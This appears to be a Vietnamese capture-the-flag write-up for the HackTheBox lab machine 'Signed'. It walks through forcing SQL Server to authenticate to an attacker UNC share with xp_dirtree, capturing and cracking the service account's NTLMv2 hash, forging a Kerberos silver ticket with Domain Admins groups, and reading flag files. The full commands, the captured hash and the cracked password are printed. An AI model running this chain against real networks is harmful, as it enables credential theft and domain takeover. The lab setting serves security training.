HTB Windows Medium: Signed
Table of Contents
1. Reconaissance #
Đầu tiên, ta tiến hành nmap xem có các service gì đang mở:
┌──(havertz2110㉿kali)-[~]
└─$ nmap -sC -sV 10.10.11.90
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-16 14:24 EST
Nmap scan report for 10.10.11.90 (10.10.11.90)
Host is up (0.21s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
| ms-sql-ntlm-info:
| 10.10.11.90:1433:
| Target_Name: SIGNED
| NetBIOS_Domain_Name: SIGNED
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: SIGNED.HTB
| DNS_Computer_Name: DC01.SIGNED.HTB
| DNS_Tree_Name: SIGNED.HTB
|_ Product_Version: 10.0.17763
| ms-sql-info:
| 10.10.11.90:1433:
| Version:
| name: Microsoft SQL Server 2022 RTM
| number: 16.00.1000.00
| Product: Microsoft SQL Server 2022
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
|_ssl-date: 2025-11-16T18:59:18+00:00; -28m23s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-11-15T06:15:36
|_Not valid after: 2055-11-15T06:15:36
Host script results:
|_clock-skew: mean: -28m23s, deviation: 0s, median: -28m23s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 206.58 seconds
Từ kết quả scan, ta có 1 số kết luận cơ bản:
- Hiện đang có 1 MsSQL Server → Có thể dùng impacket-mssqlclient.
- Có Domain
SIGNEDvà SPNMSSQLSvc/dc01.signed.htb→ SQL Server này đang chạy trong môi trường AD.
Khi gặp tình huống có SQL Server trong domain, ta có thể nghĩ tới 2 attack vectors sau:
- Hướng 1: Dùng
xp_dirtree/xp_fileexist+ UNC tới attacker → bắt NetNTLM của account chạy SQL (trong nhiều trường hợp sẽ có quyền cao hơn). Sau khi có credential của service account, ta sẽ có thể tiến hành Kerberos abuse (silver ticket, constrained delegation, v.v.). - Hướng 2: Ta abuse
xp_cmdshelltrong trường hợp account có sẵn có quyềnsysadminđể RCE(khả năng thấp).
→ Không còn gì khác để khai thác, ta sẽ khai thác theo hướng 1.
2. Intial Access #
Đầu tiên, ta impacket vào SQL Server sử dụng cred mà mô tả Machine đưa cho và ép SQL server truy cập UNC tới attacker(chính chúng ta) thì nó sẽ dùng account service/domain để xác thực và từ đó capture hash. Để làm được điều này ta sẽ dùng Responder để giả làm server → nhận NTLMv2, crack bằng hashcat.
Ở đây ta set up thêm 1 terminal làm responder với command sudo -I responder tun0 -v như sau:

Ta dùng command EXEC master..xp_dirtree '\\10.10.14.129\share'; để request tới UNC và ngay lập tức bắt được hash ở Responder như sau:

Mình ghi lại dưới dạng text để về sau dễ bề thao tác:
[SMB] NTLMv2-SSP Client : 10.10.11.90
[SMB] NTLMv2-SSP Username : SIGNED\mssqlsvc
[SMB] NTLMv2-SSP Hash : mssqlsvc::SIGNED:cbefbbb4ec29815e:672A34094733E91B79751767075A8657:010100000000000080E107510B57DC013C75714D289AEFE70000000002000800440035003100550001001E00570049004E002D0043004E004B004E004E0046005800490050004F00430004003400570049004E002D0043004E004B004E004E0046005800490050004F0043002E0044003500310055002E004C004F00430041004C000300140044003500310055002E004C004F00430041004C000500140044003500310055002E004C004F00430041004C000700080080E107510B57DC0106000400020000000800300030000000000000000000000000300000CA243726228816FA2963DC6424B6CCD54F8EB7BD042FCD0CE53E60BE91DF4FBE0A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310034002E003100320039000000000000000000
Có được NTLM hash, ta dùng hashcat để crack với command hashcat -m 5600 hash.txt rockyou.txt --show:
└─$ hashcat -m 5600 hash.txt rockyou.txt --show
MSSQLSVC::SIGNED:cbefbbb4ec29815e:672a34094733e91b79751767075a8657:010100000000000080e107510b57dc013c75714d289aefe70000000002000800440035003100550001001e00570049004e002d0043004e004b004e004e0046005800490050004f00430004003400570049004e002d0043004e004b004e004e0046005800490050004f0043002e0044003500310055002e004c004f00430041004c000300140044003500310055002e004c004f00430041004c000500140044003500310055002e004c004f00430041004c000700080080e107510b57dc0106000400020000000800300030000000000000000000000000300000ca243726228816fa2963dc6424b6ccd54f8eb7bd042fcd0ce53e60be91df4fbe0a001000000000000000000000000000000000000900220063006900660073002f00310030002e00310030002e00310034002e003100320039000000000000000000:purPLE9795!@
Đã có được credential của account service, ta connect lại server MsSQL:

Ta check xem account này có quyền sysadmin chưa bằng lệnh SELECT IS_SRVROLEMEMBER('sysadmin'); thì trả về 0 → chưa có:

Hmm, vô tới đây rồi thì khá bí, nhưng vì mục đích ta là leo quyền nên ta cần biết mình có gì để leo, do đó, ở đây ta thử enumerate xem có các groups/users nào trên domain SIGNED này:
SQL (SIGNED\mssqlsvc guest@master)> SELECT name, type_desc, sid FROM sys.server_principals WHERE name LIKE 'SIGNED\%' ORDER BY name;
name type_desc sid
------------------- ------------- -----------------------------------------------------------
SIGNED\Domain Users WINDOWS_GROUP b'0105000000000005150000005b7bb0f398aa2245ad4a1ca401020000'
SIGNED\IT WINDOWS_GROUP b'0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000'
SQL (SIGNED\mssqlsvc guest@master)>
Từ thông tin trên, có thể thấy group SIGNED\IT khá tiềm năng. Để phục vụ mục đích forge silver ticket, ta sẽ cần decode những sid này để lấy được RID . Đầu tiên với SIGNED\IT, ta convert ra bytes:
01 05 00 00 00 00 00 05 15 00 00 00 5b 7b b0 f3 98 aa 22 45 ad 4a 1c a4 51 04 00 00
SID format WindowsFormat của nó sẽ như thế này:
01 → revision
05 → số sub-authority
00 00 00 00 00 05 → authority = 5 → S-1-5
15 00 00 00 → 21 → S-1-5-21
Sau đó mỗi block 4 byte (theo LE) là 1 số:
5b 7b b0 f3 → 4088429403
98 aa 22 45 → 1159899800
ad 4a 1c a4 → 2753317549
51 04 00 00 → 0x00000451 = 1105
Rồi ghép lại, ta sẽ có:
S-1-5-21-4088429403-1159899800-2753317549-1105
Tới đây, để phục vụ mục đích forge silver ticket, ta sẽ cần các thông tin như:
nthash - chưa có
DOMSID = S-1-5-21-4088429403-1159899800-2753317549
domain = SIGNED.HTB
spn = MSSQLSvc/DC01.SIGNED.HTB
groups = 512, IT_RID(1105)
user-id = MSSQLSVC_RID(chưa có) mssqlsvc
Để tìm MSSQLSVC_RID, ta dùng command sau để trích ra sid:
SQL (SIGNED\mssqlsvc guest@master)> SELECT SUSER_SID('SIGNED\MSSQLSVC');
-----------------------------------------------------------
b'0105000000000005150000005b7bb0f398aa2245ad4a1ca44f040000'
Và deocde ra ta có S-1-5-21-4088429403-1159899800-2753317549-1103 .
Còn lại nthash của service account thôi. Để có được, ta sẽ dump nó bằng lệnh:
└─$ echo -n 'purPLE9795!@' | iconv -f UTF-8 -t UTF-16LE | openssl md4
MD4(stdin)= ef699384c3285c54128a3ee1ddb1a0cc
3. Privilege Escalation #
Vậy là ta đã có hết các thông tin cần thiết, bây giờ tiến hành forge silver ticket bằng lần lượt các command sau:
──(havertz2110㉿kali)-[~]
└─$ nthash="ef699384c3285c54128a3ee1ddb1a0cc"
┌──(havertz2110㉿kali)-[~]
└─$ DOMSID="S-1-5-21-4088429403-1159899800-2753317549"
┌──(havertz2110㉿kali)-[~]
└─$ IT_RID=1105
┌──(havertz2110㉿kali)-[~]
└─$ MSSQLSVC_RID=1103
┌──(havertz2110㉿kali)-[~]
└─$ impacket-ticketer \
-nthash $nthash \
-domain-sid "$DOMSID" \
-domain SIGNED.HTB \
-spn MSSQLSvc/DC01.SIGNED.HTB \
-groups 512,$IT_RID \
-user-id $MSSQLSVC_RID mssqlsvc
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for SIGNED.HTB/mssqlsvc
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncTGSRepPart
[*] Saving ticket in mssqlsvc.ccache
Như vậy là ta đã đóng gói được silver ticket và để sử dụng được thì ta cần set biến môi trường là KRB5CCNAME . Nếu không set thì Kerberos sẽ dùng cache mặc định nằm ở /tmp/krb5cc_<uid> mà ở đó thì lại không có ticket ta vừa tạo.
Do đó, ta sẽ set biến môi trường để cho Kerberos biết phải dùng ticket này và kiểm tra:
┌──(havertz2110㉿kali)-[~]
└─$ export KRB5CCNAME="$(pwd)/mssqlsvc.ccache"
┌──(havertz2110㉿kali)-[~]
└─$ klist
Ticket cache: FILE:/home/havertz2110/mssqlsvc.ccache
Default principal: mssqlsvc@SIGNED.HTB
Valid starting Expires Service principal
11/17/2025 08:57:09 11/15/2035 08:57:09 MSSQLSvc/DC01.SIGNED.HTB:1433@SIGNED.HTB
renew until 11/15/2035 08:57:09
→ Hoàn thành, bây giờ ta sẽ dùng silver ticket để đăng nhập vào thôi:
┌──(havertz2110㉿kali)-[~]
└─$ sudo impacket-mssqlclient -k 'SIGNED.HTB/mssqlsvc@dc01.SIGNED.HTB' -windows-auth -no-pass
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232)
[!] Press help for extra shell commands
SQL (SIGNED\mssqlsvc dbo@master)> SELECT * FROM OPENROWSET(BULK N'C:\Users\mssqlsvc\Desktop\user.txt', SINGLE_CLOB) AS t;
BulkColumn
---------------------------------------
b'1cbf0b30c88ca607f6c8e6e3fced2757\r\n'
SQL (SIGNED\mssqlsvc dbo@master)> SELECT * FROM OPENROWSET(BULK N'C:\Users\Administrator\Desktop\root.txt', SINGLE_CLOB) AS t;
BulkColumn
---------------------------------------
b'c646b7a164e807cdea31fa12ffb086c0\r\n'
SQL (SIGNED\mssqlsvc dbo@master)>
Note: Trong quá trình khi impacket lần cuối, đôi khi bạn sẽ gặp lỗi "..the login is from an untrusted domain and cannot be used with Integration authentication” thì sẽ có 2 cách fix:
- Đổi giờ của máy bạn lại trùng với giờ của server
- Dùng kèm sudo ở đầu câu lệnh impacket